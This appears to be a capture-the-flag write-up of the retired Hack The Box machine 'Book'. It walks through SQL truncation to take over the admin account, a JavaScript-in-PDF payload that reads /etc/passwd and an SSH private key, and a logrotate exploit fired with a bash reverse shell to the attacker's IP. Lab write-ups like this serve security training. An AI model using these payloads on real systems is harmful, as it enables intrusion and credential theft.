This is the write-up for the box Book that got retired at the 11th July 2020. My IP address was 10.10.14.7 while I did this.
Let's put this in our hosts file:
10.10.10.176 book.htbStarting with a Nmap scan:
nmap -sC -sV -o nmap/book.nmap 10.10.10.176
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 f7:fc:57:99:f6:82:e0:03:d6:03:bc:09:43:01:55:b7 (RSA)
| 256 a3:e5:d1:74:c4:8a:e8:c8:52:c7:17:83:4a:54:31:bd (ECDSA)
|_ 256 e3:62:68:72:e2:c0:ae:46:67:3d:cb:46:bf:69:b9:6a (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: LIBRARY - Read | Learn | Have Fun
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The homepage is on index.php and is a login form to some application:
By clicking on Sign Up and using any information, it is possible to Sign In and get forwarded to home.php.
On this page is a menu with the following pages:
- books.php
- search.php
- feedback.php
- collections.php
- contact.php
- profile.php
- settings.php
The images on books.php forward to download.php and contact.php shows a potential username called admin[@]book.htb. There is also a page on /admin that has a different login page:
After trying out different Web vulnerabilities like SQL Injection and XSS, none of the input fields of the pages resolve in errors. This means the Sign In / Sign Up page should be focused and the admin user could be taken over somehow.
In the HTML source code of index.php on the login form is some JavaScript that says that the username should not be more than 20 characters:
(...)
alert("Please fill name field. Should not be more than 10 characters");
return false;
if (y == "") {
alert("Please fill email field. Should not be more than 20 characters");
return false;
(...)
The username can be duplicates, but the email address has to be unique on the login form. The username admin[@]book.htb has 14 characters, so by adding 6 blank characters and 1 random letter at the end, it may truncate the 21st letter and ignore all the whitespaces. This method is called SQL Truncation and could result in successful login with the admin user.
Creating username admin[@]book.htb++++++1 (the plus symbol is used to symbolize spaces):
POST /index.php HTTP/1.1
Host: 10.10.10.176
(...)
name=test1&email=admin%40book.htb 1&password=Test123
Now the login with admin[@]book.htb and the given password works, as the whitespaces get truncated. The login also works on the /admin page:
In the Collections menu are two PDFs that can be downloaded. One shows the existing users and the other one the collections on the web application.
I changed the username of the initially created user to "<b>test<\b>" to see if it processes HTML syntax.
It does not process it on the web page, but the PDF creation tool does and shows the username in bold letters:
As the usernames have a character limit, we can create a malicious Collection to inject JavaScript code into the PDF creation tool.
Creating a new Collection with JavaScript in the book title:
Book Title: <script> x=new XMLHttpRequest; x.onload=function(){document.write(this.responseText)}; x.open("GET","file:///etc/passwd");x.send(); </script>
After exporting the Collection PDF with the admin, the contents of the PDF are all users from /etc/passwd, which proofs that reading local files is possible:
root:x:0:0:root:/root:/bin/bash
(...)
reader:x:1000:1000:reader:/home/reader:/bin/bash
The only user with a shell set is reader, so lets try to guess the name of the SSH key and display the contents:
<script> x=new XMLHttpRequest; x.onload=function(){document.write(this.responseText)}; x.open("GET","file:///home/reader/.ssh/id_rsa");x.send(); </script>
Now we got the SSH key of reader and as it is incorrectly formatted, the pdftohtml tool is able to format it correctly:
pdftohtml 5889.pdf
The string has to be copied into a new file and can be formatted with Vim or any other text editor:
vim reader_id.rsa
:%s/<br\/>/\r/g
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEA2JJQsccK6fE05OWbVGOuKZdf0FyicoUrrm821nHygmLgWSpJ
(...)
-----END RSA PRIVATE KEY-----
chmod 600 reader_id.rsa
Now the SSH key is usable to login to the box as reader:
ssh -i reader_id.rsa reader@10.10.10.176
In the home directory of reader in /home/reader is a writable log file in backups/access.log.1 with the following content:
192.168.0.104 - - [29/Jun/2019:14:39:55 +0000] "GET /robbie03 HTTP/1.1" 404 446 "-" "curl"
There is also a bash script called lse.sh which is the linux-smart-enumeration tool. The file /var/www/html/db.php contains credentials for the MySQL database, that could be useful:
$conn = mysqli_connect("localhost","book_admin","I_Hate_Book_Reading","book");
(...)
After running LinPeas to enumerate the box more, it shows that logrotate runs on it and the backups/access.log.1 is a writable log file to exploit a Logrotate Vulnerability.
This vulnerability works only when a user logs in, but the last command shows, that root is constantly login in.
We can use the logrotten exploit on GitHub, that has to be uploaded to the box and then compiled there:
gcc logrotten.c -o logrotten
./logrotten
Creating the reverse shell payload bash script (shell.sh):
bash -i >& /dev/tcp/10.10.14.7/9001 0>&1
Forcing access.log to rotate and executing logrotten with the reverse shell payload:
cp /home/reader/backups/access.log.1 /home/reader/backups/access.log; ./logrotten -p shell.sh /home/reader/backups/access.log
After the next root login, the listener on my IP and port 9001 starts a shell session as root!